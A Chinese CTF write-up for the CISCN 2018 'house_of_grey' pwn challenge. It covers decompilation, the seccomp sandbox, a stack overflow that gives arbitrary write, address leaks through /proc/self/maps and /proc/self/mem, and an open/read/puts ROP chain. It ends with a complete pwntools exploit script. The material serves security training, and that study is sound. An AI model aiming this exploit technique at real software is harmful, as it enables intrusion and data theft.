

CISCN-2018-Quals:house_of_grey

- 题目来源
 - [攻防世界](#)
- 考察知识点
 - 栈溢出 ROP
- 工具
 - pwntools pwndbg seccomp-tools IDA pro x64
- 解题过程
 - 拿到文件首先重命名为house_of_grey,使用checksec检查文件开的保护。

```
kda@kda:/media/psf/Home/Desktop/house_of_grey$ pwn checksec ./house_of_grey
[*] '/media/psf/Home/Desktop/house_of_grey/house_of_grey'
Arch:      amd64-64-little
RELRO:     Full RELRO
Stack:     Canary found
NX:        NX enabled
PIE:       PIE enabled
kda@kda:/media/psf/Home/Desktop/house_of_grey$
```
 - 发现它开了全保护，并且是64位程序，于是我们运行一下大致了解一下程序流程及功能。然后再将其放入IDA pro x64 中，静态分析。找到main函数，按下f5。

```

v2 = &v3;
if ( prctl(
    38,
    1LL,
    0LL,
    0LL,
    0LL,
    *(_QWORD *)&v1,
    &v3,
    32LL,
    *(_QWORD *)&v7,
    6LL,
    *(_QWORD *)&v15,
    6LL,
    *(_QWORD *)&v23,
    6LL,
    *(_QWORD *)&v31,
    6LL,
    *(_QWORD *)&v39,
    6LL,
    *(_QWORD *)&v47) )
{
    perror("prctl(NO_NEW_PRIVS)");
}
else
{
    if ( !prctl(22, 2LL, &v1) )

```

```

See seccomp tools' manpage for help to read about a specific subcommand.
kda@kda:/media/psf/Home/Desktop/house_of_grey$ seccomp-tools dump ./house_of_grey
line CODE JT JF K
=====
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0003
0002: 0x06 0x00 0x00 0x00000000 return KILL
0003: 0x15 0x00 0x01 0x00000208 if (A != 0x208) goto 0005
0004: 0x06 0x00 0x00 0x00000000 return KILL
0005: 0x15 0x00 0x01 0x40000208 if (A != 0x40000208) goto 0007
0006: 0x06 0x00 0x00 0x00000000 return KILL
0007: 0x15 0x00 0x01 0x00000142 if (A != execveat) goto 0009
0008: 0x06 0x00 0x00 0x00000000 return KILL
0009: 0x15 0x00 0x01 0x00000039 if (A != fork) goto 0011
0010: 0x06 0x00 0x00 0x00000000 return KILL
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
=====

```

- 看到其开启了沙盒禁用了大量的系统调用。我们用seccomp-tools工具检测一下。禁用了execve等系统调用。

```

6  __pid_t pid; // [rsp+24h] [rbp-1Ch]
7  __int64 v7; // [rsp+28h] [rbp-18h]
8  char *v8; // [rsp+30h] [rbp-10h]
9  unsigned __int64 v9; // [rsp+38h] [rbp-8h]
10
11 v9 = __readfsqword(0x28u);
12 buf_init();
13 puts("Welcome to my house! Enjoy yourself!\n");
14 puts("Do you want to help me build my room? Y/n?");
15 read(0, &buf, 4uLL);
16 if ( buf == 'y' || buf == 'Y' )
17 {
18     fd = open("/dev/urandom", 0, a2);
19     if ( fd < 0 )
20     {
21         perror("open");
22         exit(1);
23     }
24     read(fd, &v7, 8uLL);
25     close(fd);
26     v7 &= 0xFFFFFFFFu;
27     v8 = (char *)mmap(0LL, 0x10000000uLL, 3, 131106, -1, 0LL);
28     if ( v8 == (char *)-1LL )
29     {
30         perror("mmap");
31         exit(1);
32     }
33     pid = clone((int (*)(void *))fn, &v8[v7], 256, 0LL); // 把mmap出来的内存中随机一块作为fn的栈
34     if ( pid == -1 )
35     {
36         perror("clone");
37         exit(1);
38     }
39 }

```

- 程序先申请了一块大的内存空间，然后在其中随机选择一块作为子进程的栈空间，子进程运行fn函数，我们跟进fn函数。

```

1 void __fastcall fn(void *arg)
2 {
3     __int64 v1; // ST78_8@1
4     signed int i; // [sp+14h] [bp-6Ch]@6
5     int v3; // [sp+18h] [bp-68h]@7
6
7     v1 = *MK_FP(__FS__, 40LL);
8     puts("You get into my room. Just find something!\n");
9     if ( !malloc(0x186A0uLL) )
10     {
11         perror("malloc");
12         exit(1);
13     }
14     if ( sub_14D2(1000000LL) )
15         exit(1);
16     for ( i = 0; i <= 29; ++i )
17     {
18         v3 = sub_FEE();
19         if ( (unsigned int)v3 <= 5 )
20             JUMPOUT(__CS__, &asc_1AE8[4 * v3]);
21     }
22     puts("\nI guess you don't want to say Goodbye!");
23     puts("But sadly, bye! Hope you come again!\n");
24     exit(0);
25 }

```

- 如果你反编译是上图这样有JUMPOUT，这是程序PIE造成的跳转表出错,使用IDA PRO 7.0 以上就可以正常反编译出来，具体下载链接可以到吾爱破解网下载，下图为正确反编译的结果。

```

9 char buf[24]; // [rsp+30h] [rbp-50h]
10 void *v8; // [rsp+48h] [rbp-38h]
11 char nptr; // [rsp+50h] [rbp-30h]
12 unsigned __int64 v10; // [rsp+78h] [rbp-8h]
13 __int64 savedregs; // [rsp+80h] [rbp+0h]
14
15 v10 = __readfsqword(0x28u);
16 puts("You get into my room. Just find something!\n");
17 v6 = malloc(0x186A0uLL);
18 if ( !v6 )
19 {
20     perror("malloc");
21     exit(1);
22 }
23 if ( (unsigned int)prctl_error2() )
24     exit(1);
25 v8 = v6;
26 for ( i = 0; i <= 29; ++i )
27 {
28     menu();
29     switch ( (unsigned int)&savedregs )
30     {
31     case 1u: // 打开一个文件
32         puts("So man, what are you finding?");
33         buf[(signed int)((unsigned __int64)read(0, buf, 0x28uLL) - 1)] = 0; // 栈溢出
34         if ( (unsigned int)check(buf) )
35         {
36             puts("Man, don't do it! See you^.");
37             exit(1);
38         }
39         fd = open(buf, 0);
40         if ( fd < 0 )
41         {

```

- 首先case 1 选项的功能是输入一个文件名，并打开这个文件，但是存在check,过滤了星号和flag。并且这里存在栈溢出，buf溢出可以覆盖变量v8的内容。

```

45 return;
46 case 2u: // 移动文件的读写指针
47     puts("So, Where are you?");
48     read(0, &nptr, 0x20uLL);
49     offset = strtoull(&nptr, 0LL, 10);
50     lseek(fd, offset, 0);
51     break;
52 case 3u: // 打印出当前读指针的内容
53     puts("How many things do you want to get?");
54     read(0, &nptr, 8uLL);
55     v4 = atoi(&nptr);
56     if ( v4 <= 100000 )
57     {
58         v5 = read(fd, v8, v4);
59         if ( v5 < 0 )
60         {
61             puts("error read");
62             perror("read");
63             exit(1);
64         }
65         puts("You get something:");
66         write(1, v8, v5);
67     }
68     else
69     {
70         puts("You greedy man!");
71     }
72     break;
73 case 4u:
74     puts("What do you want to give me?");
75     puts("content: ");
76     read(0, v8, 0x200uLL);
77     break;

```

- case 2 选项的功能是移动读写指针。case 3 选项的功能是打印出当

前读指针的内容，可打印最多10000个字符。case 4 选项的功能是往v8里输入0x200个字符。v8指向一片0x186A0大小的堆块，而利用 case 1 选项的栈溢出，我们可以控制v8指向任意地址，配和 case 4 选项的功能我们可以实现任意地址的写入。由于开启的NX，我们可以想到往栈上写内容，进行ROP，但是我们不知道栈的地址，首要条件是**先找到栈的地址**。由于prctl函数禁用了execve等系统调用,所以我们不能开启远程shell。但是我们可以使用open打开flag文件，再使用read读取里面的内容放到缓冲区中，再调用write把内容打印出来。由于开启了PIE ,所以我们要**先找到ELF文件的加载地址**。

- /proc/pid/maps文件显示进程映射了的内存区域和访问权限
- /proc/pid/mem文件显示pid的内存内容以与过程中相同的方式映射，如果在此过程中未映射地址，则从文件中的相应偏移量读取将返回EIO（输入/输出错误）。
- 通过第一个文件我们可以泄漏出mmap和ELF地址，然后我们再通过第二个文件可以找到栈的地址。但上面已经说了fn函数的栈是随机的，我们如何拿到随机化的栈地址？其栈起始地址与mmap内存块的结束地址相差了一个随机值，而这个随机值是有一定范围的，是可以爆破的，而爆破的过程是，首先利用case 2的功能调节读指针，预先设定一个读取内存地址的起始值，然后不断的向下读，由于程序栈中存在一个明显的字符串标识"/proc/self/mem"，这个字符串在buf中，也就是在栈中，当读到的数据中包含这个字符串时就可以判断找到了栈。
- 我们可以利用case 4中的read参数劫持到read函数的返回地址处，也就是是read自身覆写自身的返回地址。这样在read函数结束时也就返回到了通过写入的rop中。可以简单验证一下可行性，爆破的次数最多可以有24次（共可以进行30次操作，其他操作占有次数）， $24 * 100000 = 2400000 = 0x249f00$ ，而可能的范围是 $0x1000000$ 其概率为0.1430511474609375，是可以接受的。
- 最终可以通过open('flag',0) read(6,buf,0x100) puts(buf)读出。这里read的第一个参fd为什么是6，是因为程序一共调用了4四次open，第一个返回3，之后的分别是4，5，6。。。。

```
1 #include <stdio.h>
2 #include <sys/types.h>
3 #include <sys/stat.h>
4 #include <fcntl.h>
5 int main()
6 {
7     int a;
8     a = open("1.png", 'r');
9     printf("%d\n", a);
10    a = open("2.png", 'r');
11    printf("%d\n", a);
12    a = open("3.png", 'r');
13    printf("%d\n", a);
14    a = open("4.png", 'r');
15    printf("%d\n", a);
16    return 0;
17 }
```

~
~
~
~
~
~
~
~
~

```
→ writeup vim 1.c
→ writeup gcc 1.c -o test
→ writeup ./test
```

3
4
5
6
→ writeup

● 解题脚本

```
1 from pwn import *
2 context.log_level = 'DEBUG'
3 elf = ELF('./house_of_grey')
4 def openfile(filepath):
```



```

5     p.recvuntil("Exit\n")
6     p.sendline("1")
7     p.sendlineafter("finding?\n",filepath)
8
9     def inputoffset(offset):
10         p.recvuntil("Exit\n")
11         p.sendline("2")
12         p.sendlineafter("you?\n",str(offset))
13
14     def show():
15         p.recvuntil("Exit\n")
16         p.sendline("3")
17         p.sendlineafter("get?\n","100000")
18
19     def inputcontent(content):
20         p.recvuntil("Exit\n")
21         p.sendline("4")
22         p.sendlineafter("content: \n",content)
23
24
25     flag = True
26     while flag:
27         p = process('./house_of_grey')
28         #p = remote('111.198.29.45',52133)
29         p.sendlineafter('Y/n?', 'Y')
30
31         #-----leak ELF base-----#
32         openfile('/proc/self/maps')#1
33         show()#2
34         p.recvuntil('You get something:\n')
35         elf_base=int(p.recvuntil("-")[:-1],16)
36         print "elf_base :"+hex(elf_base)
37
38         #-----leak mmap_addr libc_base-----#
39         while True:
40             temp = p.recvline()
41             if 'heap' in temp:

```

```

42         mmap_addr = int('0x'+p.recvuntil('-
',drop=True),16)
43         print 'mmap_addr : ',hex(mmap_addr)
44         break
45
46
47
48         #-----leak buf_addr-----
-----#
49         openfile("/proc/self/mem")#3
50         inputoffset(mmap_addr)#4
51         for i in range(24):
52             show()
53             p.recvuntil("You get something:\n")
54             temp=p.recvuntil("1.Find")
55             if "/proc/self/mem" in temp:
56                 befcontent=temp.find("/proc/self/mem")
57                 buf_addr=mmap_addr+i*100000+befcontent
58                 ret_addr=buf_addr-0x30-0x8
59                 print "read_ret_addr",hex(ret_addr)
60                 flag = False
61                 break;
62             if i==23:
63                 print "Not found"
64
65
66
67         if flag == False:
68             #-----leak function_addr-----
-----#
69             open_addr=elf_base+elf.plt['open']
70             read_addr=elf_base+elf.plt['read']
71             puts_addr=elf_base+elf.plt['puts']
72             print "open address",hex(open_addr)
73             print "read address",hex(read_addr)
74             print "puts address",hex(puts_addr)
75             pop_rdi=elf_base+0x1823

```



```

76         pop_rsi_r15=elf_base+0x1821
77
78         #-----ROP-----#
79
80         payload="/proc/self/mem".ljust(0x18, '\x00')+p64(ret_ad
dr)
81
82         stroffset=15*0x8
83         payload=p64(pop_rdi)+p64(ret_addr+stroffset)
84
85         payload+=p64(pop_rsi_r15)+p64(0)+p64(0)+p64(open_addr)
86         payload+=p64(pop_rdi)+p64(6)+p64(pop_rsi_r15)
87
88         payload+=p64(ret_addr+stroffset)+p64(0)+p64(read_addr)
89
90         payload+=p64(pop_rdi)+p64(ret_addr+stroffset)+p64(puts
_addr)
91
92         payload+='flag\x00'
93         inputcontent(payload)#6
94         p.interactive()
95         break;
96     p.close()
97

```